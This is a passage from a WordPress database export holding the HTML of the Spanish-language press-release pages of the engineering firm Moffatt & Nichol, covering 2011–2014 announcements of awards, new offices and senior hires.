dos nuevos intercambios. También fue el ingeniero colegiado responsable para el proyecto del diseño y la construcción de la carretera interestatal I-4 y manejó el diseño de la calzada en la reconstrucción del intercambio US 27 y del ensanchamiento y revestimiento de 14,4 km de la carretera I-4 a través del Green Swamp.\r\n\r\nEl ingeniero Rocktoff tiene certificación FDOT en Mantenimiento avanzado de diseño de tráfico y tiene gran experiencia en las aplicaciones de software Geopak y MicroStation. Tiene un diploma de MBA de la Universidad del Sur de Florida y un diploma de pregrado de ingeniería civil de la Universidad de Florida.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"11\">Moffatt & Nichol se expande en América Latina con nueva oficina en Colombia</h3>\r\nLONG BEACH, CA, 18 de julio, 2011—Moffatt & Nichol continúa su expansión en América Latina con la creación de una oficina en Bogotá, Colombia. Aunque Moffatt & Nichol ha estado activo durante un largo tiempo en Colombia, el inicio de Moffatt & Nichol Colombia S.A.S. marca el sincero compromiso de la empresa con una presencia a largo plazo en el país para apoyar la continuada modernización de la infraestructura marítima y de transporte de Colombia.\r\n\r\nMoffatt &amp; Nichol\r\nAv. Cra. 9, No. 113-52, Of. 1201\r\nTorre Unidas 2\r\n\r\nBogotá D.C., Colombia\r\nP: +57 313 373 5350\r\nE: <a href=\"mailto:dames@moffattnichol.com\">dames@moffattnichol.com</a>\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"12\">Proyecto de GPA de Moffatt & Nichol gana premio de ingeniería de Georgia</h3>\r\nSAVANNAH, GA, 1 de abril, 2011— Georgia Engineering Alliance confirió a Moffatt & Nichol un Premio de honor en Excelencia de ingeniería por el proyecto del corredor Cross Terminal Road & Bridge. Como parte de un contrato en marcha, Moffatt & Nichol se encargó del planeamiento, diseño y apoyo de construcción para el nuevo corredor “Cross Terminal Road” de 3,2 km a un costo de $6,6 millones, que proporciona un acceso directo desde el extremo norte de la terminal al extremo sur.\r\n\r\n“Creo que este proyecto puede ser el que tenga el mayor impacto en la productividad y seguridad de cualquier proyecto de infraestructura en la terminal de Garden City desde su conversión a una terminal de contenedores”, comentó el ingeniero Wilson Tillotson, Director principal de ingeniería y mantenimiento de instalaciones de la Autoridad Portuaria de Georgia.\r\n\r\nEl Plan para la Terminal de Garden City, FOCUS 2015, de la Autoridad Portuaria de Georgia, incluyó la calzada de un nuevo corredor con cinco carriles de ancho, dos carriles en cada dirección y un carril de giro. El proyecto incluyó la instalación de casi 3,2 km de calzada de concreto asfáltico a través de la terminal, lo que mejoró la circulación en las congestionadas intersecciones, además de haber sido construido sin interrumpir las operaciones de la terminal.\r\n\r\nMoffatt & Nichol prestó soporte a tiempo completo durante varias etapas de la construcción: demolición, reubicación de equipos de servicios públicos, nivelación, construcción del puente, pavimentación, pintado de franjas indicadoras, señalización y control de tráfico, a fin de minimizar el impacto en las operaciones de la terminal. La construcción de Cross Terminal Road fue terminada sin prácticamente causar impacto negativo alguno sobre las operaciones de la terminal, por debajo del presupuesto y dos semanas antes de lo programado.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>','Comunicados de Prensa','','inherit','open','open','','1399-revision-26','','','2014-06-03 20:59:15','2014-06-03 20:59:15','',1399,'http://moffattnichol.com/spanish/1399-revision-26/',0,'revision','',0),(2831,1,'2014-06-03 20:59:58','2014-06-03 20:59:58','<div class=\"content_faq\">\r\n<h1>comunicados de prensa</h1>\r\n\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"31\">Moffatt &amp; Nichol Seleccionado Como Consultor Del Año Por APWA, Capítulo Atlántico Medio</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/06/Award_edit.jpg\"><img title=\"\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/06/Award_edit.jpg\" alt=\"\" width=\"400\" height=\"430\" /></a>\r\n\r\nNORFOLK, VA, 3 de junio de 2014 – La Asociación Americana de Trabajos Públicos, APWA, Capítulo Atlántico Medio, recientemente seleccionó a Moffatt & Nichol como Consultor del Año 2014. El galardón fue recibido el 8 de mayo durante una ceremonia de entrega en la Conferencia y Show de  APWA Capítulo Atlántico Medio, realizado en Newport News, VA. La firma fue nominada por la Ciudad de Norfolk.  \r\n\r\n“Moffatt & Nichol se siente honrado de haber sido nominado por uno de nuestros más antiguos clientes y seleccionado por el APWA Capítulo Atlántico Medio como el Consultor del Año”, dijo Michael Rieger, Líder de Unidad de Negocio de la oficina de Norfolk de Moffatt & Nichol. “Esto puede atribuirse a un sólido compromiso con la atención al cliente y el arduo trabajo de nuestro equipo”. \r\n\r\nMoffatt & Nichol ha ejecutado servicios de ingeniería para varios proyectos con la Ciudad de Norfolk desde 2002, incluyendo inspección de estribos, protección costera e inspección subacuática con sus respectivos servicios de ingeniería relacionados. La firma ha desarrollado trabajos para otras municipalidades en el área del Atlántico Medio, incluyendo Virginia Beach, Portsmouth, Chesapeake, Suffolk, Newport News, Poquoson and Hampton. \r\n</div>\r\n\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"31\">Ceremonia Inicial En The Wharf, En Southwest Waterfront</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/05/Sign.jpg\"><img title=\"\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/05/Sign.jpg\" alt=\"\" width=\"400\" height=\"300\" /></a>\r\n\r\nLong Beach, CA, mayo 2 de 2014 – El 19 de marzo, el Southwest Waterfront del distrito de Columbia marcó un significativo hito cuando- luego de ocho años de debida diligencia, planeación, diseño, permisos y rezonificación- el equipo Hoffman-Madison Waterfront Development inició obras en The Wharf. Como miembro clave del equipo, Moffatt & Nichol es responsable de la planeación, diseño, permisos, inspección, estimación de costos y evaluación financiera de todos los elementos de frente de mar del proyecto. La firma también está proporcionando los servicios de un ingeniero residente de especialidad marítima para ofrecer apoyo en la construcción para todas las instalaciones marítimas. Entre los oradores de la ceremonia estuvieron los desarrolladores y líderes de la ciudad, incluyendo el alcalde Vince Gray y miembros del Concejo de D.C. \r\n\r\nThe Wharf será un desarrollo costero de uso mixto con clase mundial de una milla de extensión, ubicado en el histórico Washington Channel, con un área de desarrollo que se extiende por 24 hectáreas de terreno y más de 50 hectáreas de agua. Una vez completado, The Wharf contará con3.2 millones de pies cuadrados de área residencial, oficinas, hoteles, venta al detal, áreas culturales, marina y espacios públicos incluyendo parques costeros, paseos, muelles y embarcaderos. La Fase 1 que se estima se complete en 2017 incluye 1.5 millones de pies cuadrados de desarrollo. Del lado marítimo habrá cuatro muelles de acceso público, un club de yates privado y una nueva marina pública con instalaciones para visitar a los navegantes. \r\n\r\nEl plan acuático desarrollado por Moffatt & Nichol genera una gran cantidad de actividades marítimas que harán del Southwest Waterfron un destino regional. Toda la actividad marítima se conecta a tierra a través de una serie de muelles programables los cuales sirven como una extensión de la red de la ciudad hacia el agua. Estos muelles activos se conectarán a una calle compartida o un “muelle” en el centro del sitio, conduciendo a los peatones más allá de la línea costera y uniendo los usos terrestres y marítimos en un entorno urbano lleno de vida las 24 horas. \r\n\r\n“Nuestra meta con este proyecto es facilitar una variedad de actividades marítimas y servicios de clase mundial para equiparar las actividades en el lado terrestre”, comentó Rob Sloop, Gerente de Proyecto de Moffatt & Nichol para The Wharf. “De esta manera, los residentes y los visitantes por igual quedarán maravillados con el ambiente energético y estimulante de Southwest Waterfront”.  \r\n</div>\r\n\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"30\">El Puerto De San Diego Mantiene Su Compromiso De Reducir Las Emisiones De Buques Con La Ayuda De Moffatt &amp; Nichol</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/05/photo.jpg\"><img title=\"\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/05/photo.jpg\" alt=\"\" width=\"400\" height=\"300\" /></a>\r\n\r\nSan Diego, CA, 30 de abril, 2014 – El Puerto de San Diego hizo un compromiso para reducir las  emisiones de buques para el año 2014  en Tenth Avenue Marine Terminal (TAMT), y cumplió esa promesa al encender la estación de energía en la costa el lunes 24 de febrero de 2014. Esta acción mejorará la calidad del aire y reducirá las emisiones de gases de efecto invernadero por encima de 50% al año, al permitir que buques cargueros “se conecten” en lugar de mantener encendidos sus propios motores a diésel mientras están en el puerto. Para colaborar en el logro de esta meta, Moffatt & Nichol llevó a cabo un detallado análisis del sistema eléctrico para maximizar el uso de los sistemas de conmutación y conductos existentes, y minimizar la longitud total de la excavación de zanjas que se requerían para los nuevos ductos.  Este diseño también incluye provisiones para una segunda futura subestación que proveerá energía a un segundo muelle, permitiendo que dos buques de contenedores refrigerados totalmente cargados (u otro tipo de buque) reciban energía desde la costa, simultáneamente. \r\n\r\n“Dedicación y trabajo en equipo entre el Puerto y Moffatt & Nichol fue lo que permitió el éxito de este proyecto” dijo Tyler Sparks, Ingeniero Eléctrico Senior y Gerente de Proyecto. “El equipo de ingeniería del puerto trabajó conjuntamente con el equipo de diseño de Moffatt & Nichol para diseñar, administrar la construcción y para lograr la puesta en marcha a tiempo y dentro del presupuesto. Estamos orgullosos de haber sido parte de este proyecto ambientalmente vanguardista.” \r\n</div>\r\n\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"29\">Proyecto De Nuevo Tramo De Puente Entre San Francisco Y La Bahia De Oakland Gana Galardón De Proyecto Del Año Del Distrito 9 De ASCE</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/05/ASCE-Project-of-the-Year-2.jpg\"><img title=\"\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/05/ASCE-Project-of-the-Year-2.jpg\" alt=\"\" width=\"400\" height=\"300\" /></a>\r\n\r\nWalnut Creek, CA, 28 de abril de 2014 – El Distrito 9 de la Sociedad Americana de Ingenieros Civiles (ASCE) realizó su premiación anual el viernes 14 de marzo y proclamó el proyecto “San Francisco-Oakland Bay Bridge New East Span” como el ganador de la categoría Proyecto del Año. Como parte de un consorcio, Moffatt & Nichol proporcionó servicios de diseño de ingeniería para el reemplazo del segmento dual de losa paralela de 2.2 millas, en la porción Este del puente, que conecta con Yerba Buena Island en el Oeste y con Oakland en el Este. \r\n\r\n“Al igual que cualquier otro proyecto público de alto perfil, el nuevo puente de Bay Bridge atrae el interés de mucha gente. Estoy orgulloso de que nuestro equipo se mantuviera positivo y enfocado en alcanzar la meta de seguridad sísmica. El público ahora cuenta con un hermoso y seguro puente que servirá a la comunidad por muchos años” dijo Scott Buckley, administrador de proyecto y gerente de contrato. En nombre del equipo de diseño conformado por Caltrans/T.Y.Lin/Moffatt & Nichol estamos agradecidos con esta prestigiosa distinción de parte de ASCE Distrito 9.”\r\n</div>\r\n\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"28\">Robin Dolan Se Une A Moffatt &amp; Nichol Como Nuevo Líder De Servicios Comerciales</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/05/Robin-Dolan-FINAL.jpg\"><img title=\"\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/05/Robin-Dolan-FINAL.jpg\" alt=\"\" width=\"250\" height=\"313\" /></a>\r\n\r\nNueva York, Estados Unidos y Londres, Reino Unido, marzo 25, 2014— Moffatt & Nichol se complace en anunciar que Robin Dolan se une a la firma como Líder de Servicios Comerciales. Los servicios comerciales internos de la firma están basados en nuestras oficinas en Nueva York y Londres e incluyen expertos en logística y en proyectos marítimos especializados en la evaluación,  análisis, adquisición y fusión de infraestructuras marítimas, sistemas intermodales de transporte y pronósticos de mercado e ingresos asociados con el movimiento de carga. \r\n\r\nLuego de trabajar para Royal Navy en la década de los 80, el Sr. Dolan ha trabajado en puestos de creciente responsabilidad en la industria portuaria, incluyendo varias posiciones con P&O Ports en Londres y Nueva Jersey, entre 1998 y 2007. Recientemente fue Vicepresidente de Desarrollo Corporativo para PortsAmerica en Ciudad Jersey, Nueva Jersey. \r\n \r\nEl Sr. Dolan es altamente calificado para la identificación, evaluación, negociación y desarrollo de proyectos de terminales marítimas. Ha creado visiones de crecimiento estratégico para varias organizaciones y ha dirigido fusiones negociadas, adquisiciones, nuevos desarrollos y otros emprendimientos con organizaciones líderes en la industria marítima y portuaria. Posee también amplia experiencia en la ejecución y desarrollo de planes que conducen al crecimiento de organizaciones y marcan el camino para la rentabilidad continua y sostenible. \r\n</div>\r\n\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"27\">Moffatt &amp; Nichol Presenta A Marcos Vendramini Como Líder De Unidad Negocios Para La Oficina De Brasil</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/05/Marcos-Vendramini-FINAL.jpg\"><img title=\"\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/05/Marcos-Vendramini-FINAL.jpg\" alt=\"\" width=\"250\" height=\"313\" /></a>\r\n\r\nRío de Janeiro, Brasil, marzo 24, 2014— Moffatt & Nichol se complace en anunciar que Marcos Vendramini se une a nuestra oficina en Río de Janeiro, Brasil, como nuevo Líder de Unidad de Negocios. El Sr. Vendramini tiene más de 29 años de experiencia en proyectos de infraestructura de transporte, principalmente en puertos, ferrocarriles y aeropuertos. Su amplio portafolio de experiencia en Brasil y en los países vecinos incluye a varios de los actuales clientes de Moffatt & Nichol y también clientes en prospecto. El Sr. Vendramini también tiene considerable práctica en la operación de oficinas, administración de proyectos, negocios, planeación estratégica y manejo de cuentas de clientes. Recientemente fue Director para los puertos y negocios marítimos de AECOM. \r\n\r\n“Marcos está preparado para continuar la iniciativa que nació en Brasil un par de años atrás”, dijo Eric Nichol, Presidente de Moffatt & Nichol. “Su amplia trayectoria en la industria será un activo para nuestro equipo y nuestros clientes a medida que crecemos dentro del mercado brasileño”.\r\n\r\nEl Sr. Vendramini posee registro CREA en Brasil y obtuvo su Licenciatura en Ingeniería Mecánica Industrial de la Universidad Universidade Metodista de Piracicaba en Brasil y su Maestría en Planeación, Diseño y Administración de Sistemas Aeroportuarios en el Massachusetts Institute of Technology.\r\n</div>\r\n\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"26\">Moffatt &amp; Nichol Da La Bienvenida Paul Wallis Como Ingeniero Estructural Senior</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/04/Paul-Wallis.jpg\"><img title=\"\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/04/Paul-Wallis.jpg\" alt=\"\" width=\"250\" height=\"313\" /></a>\r\n\r\nANCHORAGE, AK, Marzo 20, 2014 – Moffatt & Nichol se complace en anunciar la incorporación de Paul Wallis, PE, SE, MLSCE al equipo de la oficina de Anchorage como ingeniero estructural Senior. Con más de 16 años de experiencia en diseño estructural y análisis de edificaciones nuevas y existentes, posee amplia experiencia en diseño y análisis de alta sismicidad y vientos fuertes  y proyectos de ingeniería en el Ártico, sub Ártico y Antártico. El Sr. Wallis será un valioso activo para el equipo de Moffatt & Nichol Anchorage, donde dirigirá proyectos a medida que la firma continua su crecimiento en el área. \r\n\r\nEl Sr. Wallis también aporta una sólida comprensión de administración de proyectos para una variedad de estudios. Esto incluye la investigación y diseño de instalaciones marítimas nuevas y existentes, construcciones verticales que van desde bodegas, hangares y oficinas en general, hasta una variedad de instalaciones industriales y militares e instalaciones para patios de gas y petróleo. Los clientes para los trabajos en los que el Sr. Willis ha participado van desde municipios, la Guardia Nacional del Ejército de los Estados Unidos, la Fuerza Aérea de los Estados Unidos, El Cuerpo de Ingenieros de los Estados Unidos, y la Fundación Nacional de Ciencias. \r\n\r\nEl Sr. Willis es un ingeniero estructural egresado de la Universidad de Alaska, Fairbanks, y posee registro de Ingeniero Profesional e Ingeniero Estructural.  También es miembro de la Junta Nacional de Inspectores para certificaciones de ingeniería y estudios para MLSE, es miembro activo de la Asociación de Ingenieros Estructurales de Alaska (SEAAK) y del Consejo de Profesionales de Diseño de Alaska (APDC), y es actualmente presidente para ambas agrupaciones. Otras afiliaciones profesionales incluyen el Instituto Americano de Construcción con Acero y la Sociedad Americana de Ingenieros Civiles. \r\n\r\n</div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"25\">Moffatt &amp; Nichol Da La Bienvenida A Jerry L. Neal, Como Ingeniero Senior Y Estimador De Costos</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/02/Jerry-Neal_052412_DutraGroup.jpg\"><img title=\"\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/02/Jerry-Neal_052412_DutraGroup.jpg\" alt=\"\" width=\"250\" height=\"313\" /></a>\r\n\r\nWALNUT CREEK, CA, 20 de febrero de 2014 – Moffatt & Nichol se complace en anunciar la integración de Jerry L. Neal a la oficina de la firma en Walnut Creek. Con más de 37 años de experiencia en importantes proyectos de construcción de ingeniería civil y marítimos, tanto nacionales como fuera del país, funcionará como Ingeniero Senior y como estimador de costos para Moffatt & Nichol.  \r\n\r\nAntes de Moffatt & Nichol, el señor Neal fue el jefe estimador de costos para The Dutra Group, durante 11 años. Bajo su cargo manejó un equipo de estimadores, ingenieros, personal de administración de contratos e ingenieros de costos. \r\n\r\nEl Sr. Neal se integra con un sólido conocimiento de gerencia y estimación de costos en una variedad de proyectos, incluyendo puertos, presas y diques, plantas eléctricas y minas. Sus proyectos pasados de particular interés incluyen la Marina Cabrillo Way del Puerto de Los Ángeles, la cual fue diseñada por Moffatt & Nichol y para la cual la firma ofreció servicios de adquisición de permisos y apoyo en la construcción. El Sr. Neal también trabajó en el Puerto de Oakland, Fase 3E profundización a -50 pies; Muelle 102 para el Puerto de Los Ángeles; dragado anual de mantenimiento para el Puerto de Anchorage y varios otros proyectos de rehabilitación y fortalecimiento de diques  en el Delta de California. \r\n\r\nIngeniero Registrado, el Sr. Neal recibió su diploma de Licenciatura en Ingeniería Civil del South Dakota School of Mines and Technology. También posee un título de Maestría en Administración Estratégica de Negocios, del California State University, East Bay. \r\n</div>\r\n\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"24\">David W. Huchel Se Une A Moffatt &amp; Nichol Como Asesor General</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/02/David-Huchel-Original.jpg\"><img title=\"\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/02/David-Huchel-Original.jpg\" alt=\"\" width=\"250\" height=\"350\" /></a>\r\n\r\nLONG BEACH, CA, 14 de febrero de 2014 – David Huchel se une a Moffatt & Nichol como Asesor General para la firma. Aporta más de 23 años de experiencia en legislación de construcción, litigios civiles, resolución de conflictos y mediación.  La carrera del Sr. Huchel se ha enfocado en apoyar clientes en la industria de la arquitectura, ingeniería y construcción. \r\n\r\n“Me llama la atención la tradición de excelencia de Moffatt & Nichol y su fuerte reputación en la industria”, comentó sobre su incorporación a la firma. “En el pasado, he trabajado con Moffatt & Nichol en la formación de equipos y otros acuerdos. Siempre me ha impresionado la solidez técnica y profesional de Moffatt & Nichol”. \r\n\r\nPrevio a Moffatt & Nichol, el Sr. Huchel trabajó para AECOM, donde fue Vicepresidente y Gerente Asesor de los grupos marítimos de la región oeste y América del Norte. Anteriormente fue el Asesor General y Secretario Corporativo para Boyle Engineering Corporation y fue Director de Boyle Holding Corporation, antes de que la firma fuera adquirida por AECOM. Con Boyle y AECOM apoyó la línea de negocios de servicios acuáticos y transporte, trabajando en una variedad de proyectos portuarios, de humedales y de frente de mar.  La práctica privada del Sr. Huchel en litigios civiles incluye seis años con Ford, Walker, Haggerty & Behar, para la oficina de la firma en Long Beach, California.\r\n\r\nFue admitido en la Asociación de Abogados de California en 1990, luego de obtener su diploma de Juris Doctor de University of the Pacific, McGeorge School of Law. El Sr. Huchel es miembro de la Asociación de Abogados Americanos, Asociación de Abogados de Los Ángeles, Asociación de Abogados del Condado de Orange y la Asociación de Asesores Corporativos. \r\n</div>\r\n\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"23\">Moffatt &amp; Nichol Anuncia Al Ingeniero Eric Burke Como Nuevo Líder De Unidad De Negocio Para La Oficina De Richmond</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/02/C.-Eric-Burke_MN.jpg\"><img title=\"\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/02/C.-Eric-Burke_MN.jpg\" alt=\"\" width=\"250\" height=\"374\" /></a>\r\n\r\nRICHMOND, VA, febrero 4, 2014—Moffatt & Nichol se complace en anunciar que el ingeniero Eric Burke, se une a nuestra firma como Líder de Unidad de Negocio para la oficina de Richmond. El Sr. Burke obtuvo su título de licenciatura y su maestría en Virginia Polytechnic Institute y cuenta con más de 20 años de experiencia en ingeniería civil y proyectos de transporte. Además, trae a la firma una probada trayectoria de exitoso manejo de operaciones multidisciplinarias de ingeniería y ambiente en Virginia, Carolina del Norte y Carolina del Sur. \r\n\r\nLa oficina de Richmond  de Moffatt & Nichol ha crecido 50 por ciento en los dos últimos años. El Sr. Burke será un valioso activo para el equipo de la oficina de Richmond donde estará a cargo de liderar el grupo de ingenieros profesionales y gerentes de proyectos, al tiempo que la firma continuará creciendo y expandiendo sus capacidades en la práctica de transporte hacia la región centro-atlántica de los Estados Unidos. \r\n\r\nA través de su carrera, el Sr. Burke ha estado relacionado con el diseño y construcción de proyectos en el este de los Estados Unidos. Trae a Moffatt & Nichol un amplio espectro de conocimientos y de manejo de proyectos de transporte gracias a su experiencia trabajando y administrando varios aspectos del diseño de transporte, planeación ambiental y permisos. También ha manejado varios contratos multianuales “on-call” para Federal Highway Administration, South Carolina Department of Transportation, la ciudad de Richmond y otras entidades públicas. \r\n\r\n“La vasta pericia técnica y administrativa de Eric se ajusta perfectamente con nuestra oficina de Richmond”, comentó el ingeniero Eric Nichol, presidente de Moffatt & Nichol. “Estamos complacidos que se haya unido a nuestro equipo de líderes para seguir proporcionando valor a nuestros clientes en el área”. \r\n</div>\r\n\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"22\">Kevin Rai Se Une A Moffatt &amp; Nichol Como Ingeniero Eléctrico Junior</h3>\r\n\r\nVANCOUVER CB, Canadá, enero 2014 - Moffatt & Nichol se complace en dar la bienvenida a Kevin Rai, para la posición de Ingeniero Eléctrico Junior en nuestra oficina de Vancouver. El Sr. Rai trabajó como técnico y diseñador eléctrico en los últimos años mientras completaba sus estudios en el Instituto de Tecnología de Columbia Británica. En marzo obtendrá el título de  Licenciatura en Tecnología en Ingeniería Eléctrica.\r\n\r\nPara el Sr. Rai, obtener esta posición en Moffatt & Nichol es solamente el comienzo. “El cielo es el límite con Moffatt & Nichol”,  comentó. “Estoy interesado en aprender de los diversos grupos de profesionales de la firma, de interactuar con clientes al tiempo que optimizo mi nivel de conocimiento y logro la experiencia requerida para obtener mi licencia profesional en ingeniería en la provincia de Columbia Británica y el estado de Washington”. \r\n\r\nEl Sr. Rai tiene experiencia directa trabajando con diseños eléctricos para clientes en la industria minera, pero transferirá sus destrezas a las áreas de práctica de Moffatt & Nichol, incluyendo energía, puertos, muelles y terminales marítimas. Sus servicios más frecuentes incluyen la preparación de planos, diseños, cálculos y estimaciones de costos para ingeniería convencional, investigación y desarrollo de tareas.\r\n\r\n“Estoy emocionado de utilizar mis conocimientos para contribuir con el crecimiento  y éxito del equipo de Moffatt & Nichol”, comentó el Sr. Rai. “Quiero agradecer al personal por recibirme a bordo con gran profesionalismo y actitud positiva. Espero poder trabajar y conocerlos a todos”. \r\n</div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"21\">Moffatt &amp; Nichol Se Destaca Con Una Mención Honorífica En La Competencia De Diseño “Por Un Rockaway Revivificado” (FAR ROC) En New York</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/12/FAROC-cap.jpg\"><img title=\"\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/12/FAROC-cap.jpg\" alt=\"\" width=\"500\" height=\"374\" /></a>\r\n\r\nLONG EACH, CA. Diciembre 17, 2013 – Como parte de un equipo, Moffatt & Nichol recientemente obtuvo la mención honorífica en la competencia internacional de diseño FAR ROC, con su plan de renovación de 80 acres en Arverne East en Rockaway, un comunidad costera fuertemente golpeada por la super tormenta Sandy más de un año atrás. \r\n\r\nMoffatt & Nichol fue el líder de la ingeniería costera para un equipo de 17 miembros dirigidos por Mithūn - sede en Seattle, Washington. La propuesta del equipo ofreció siete pasos para un sitio flexible y sostenible, que en el futuro sea capaz de resistir cualquier devastador desastre natural como lo fue Sandy. La idea comenzó con rodear el actual patrón de la tierra; expandir las fronteras; elevar las zonas de desarrollo; extender la infraestructura en fases completas; dotar de un distrito maestro; mejorar y reavivar la comunidad existente y preparar para cambios a largo plazo. \r\n\r\nLas comunidades costeras como Arverne East sufrieron algunos de los peores daños por la tormenta Sandy. Sin embargo, comunidades costeras cercanas como Arverne by the Sea se mantuvieron bastante bien gracias a drenajes pluviales mejorados, sitios elevados e infraestructuras fuertes, lecciones que Moffatt & Nichol incorporó en el plan a largo plazo para la costa de Arverne East. La propuesta incluyó la ampliación de la playa, veredas, mejoramiento de dunas, una explanada elevada y una forma urbana convexa. \r\n\r\n“Este esfuerzo fue único en el sentido de que el equipo desarrolló un plan creativo que consideró las incertidumbres para las futuras elevaciones del nivel del mar, aumento de la frecuencia de las tormentas y aumento de la densidad urbana en una solución práctica que es viable, financiable, y asegurable”, dijo Robert Sloop, Gerente de Proyecto Costero para el equipo de Moffatt & Nichol. La propuesta de diseño fue seleccionada entre 117 opciones de más de 20 países. \r\n</div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"20\">Moffatt &amp; Nichol Recibe Premio ACEC/NC Award Por Diseño De Sistemas De Manejo De Aguas Pluviales De La Whalehead Subdivision</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/12/ACEC.jpg\"><img title=\"\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/12/ACEC.jpg\" alt=\"\" width=\"500\" height=\"400\" /></a>\r\n\r\nRALEIGH, NC, Diciembre 16, 2013 – Moffatt & Nichol recibió el Premio Honorífico por Excelencia en la Ingeniería en la categoría agua / y aguas residuales por el diseño del sistema de manejo de agua residual de Whalehead Subdivision en el Condado de Currituck, Carolina del Norte, premio otorgado por el American Council of Engineering Companies, Carolina del Norte (ACEC/NC).\r\n\r\nMoffatt & Nichol proporcionó el diseño preliminar y final, documentos de construcción y administración limitada de la construcción, para el desarrollo en fases de un sistema de disminución del nivel freático. El sistema consiste en el bombeo de las aguas infiltradas a través de tuberías que llegan a las lagunas de bioretención, que posteriormente fluyen hacia Currituck Sound. Este estudio implicó la planeación maestra de las aguas pluviales, reemplazando las calles existentes con veredas y cuencas de bioretención con vegetación propia del lugar. También incluyó la instalación de tuberías de drenaje debajo de las cuencas y el bombeo de agua desde las tuberías de drenaje hacia una red de tuberías de impulsión que conducían hacia lagunas adyacentes a Currituck Sound.  \r\n\r\n“Moffatt & Nichol se siente honrado en haber contribuido con este proyecto dirigido a la comunidad”, dijo Timothy Reid, Vice Presidente de Moffatt & Nichol. “Estamos orgullosos de haber sido socios del Condado de Currituck y de los residentes de Whalehead en este innovador sistema de infiltración y bombeo,  uno de los primeros en su clase en Carolina del Norte. Este reconocimiento de ACEC/NC es un verdadero honor”. \r\n\r\nLa comunidad se beneficia con este proyecto primero a través de la reducción de las frecuentes y molestas inundaciones y la eliminación de inundaciones de larga duración después de fuertes lluvias. La remoción y reemplazo de la calle con veredas y áreas naturales también sirvió para embellecer y proveer una solución ecológica. La comunidad ha acogido el sistema que ofrece acceso público al mar y que también es una atracción, en lugar de una solución convencional.\r\n\r\nEl sistema se ha desempeñado bien durante varios huracanes y temporales del noreste y los residentes están listos para recibir las fases adicionales, comentó  Eric Weatherly, ingeniero de Currituck County. \r\n</div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"19\">Moffatt &amp; Nichol Abre Nuevas Oficinas En El Centro De New Orleans</h3>\r\n\r\nNEW ORLEANS, LA. Diciembre 12, 2013 – Moffatt & Nichol recientemente abrió una nueva oficina en el Pan American Building en el centro de New Orleans. Como complemento a la actual oficina de la firma en Baton Rouge, la integración de New Orleans constituye la trigésima oficina para esta firma internacional de ingeniería.\r\n\r\nBajo el liderazgo de Jonathan Hird con el cargo de Líder de Unidad de Negocios y Vicepresidente Asociado, los servicios profesionales de la firma en Luisiana se expanden de servicios de ingeniería costera a puertos intermodales, terminales marítimas, manejo de graneles, inspección y rehabilitación.  La firma ha tenido presencia en Luisiana desde 2001.\r\n\r\n“A través de contrataciones estratégicas y transferencias internas clave, nuestro equipo laboral de Luisiana ha crecido para incluir ingenieros costeros, civiles, hidráulicos, estructurales y mecánicos altamente capacitados y estamos creciendo rápido”, comentó el Sr. Hird. Estamos orgullosos de continuar sirviendo nuestros clientes locales con esta capacidad ampliada. \r\n\r\nUbicado en la ribera del río Mississippi, New Orleans es un centro de transporte crucial y un centro de distribución para el comercio que se mueve por agua. La nueva oficina servirá como instalación clave para suplir las necesidades de los clientes de Moffatt & Nichol localmente y a nivel mundial. \r\n\r\n</div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"18\">PhD Gerald McCrain se integra a Moffatt & Nichol como especialista ambiental Senior</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/12/Gerald.jpg\"><img title=\"Gerald McCrain\" 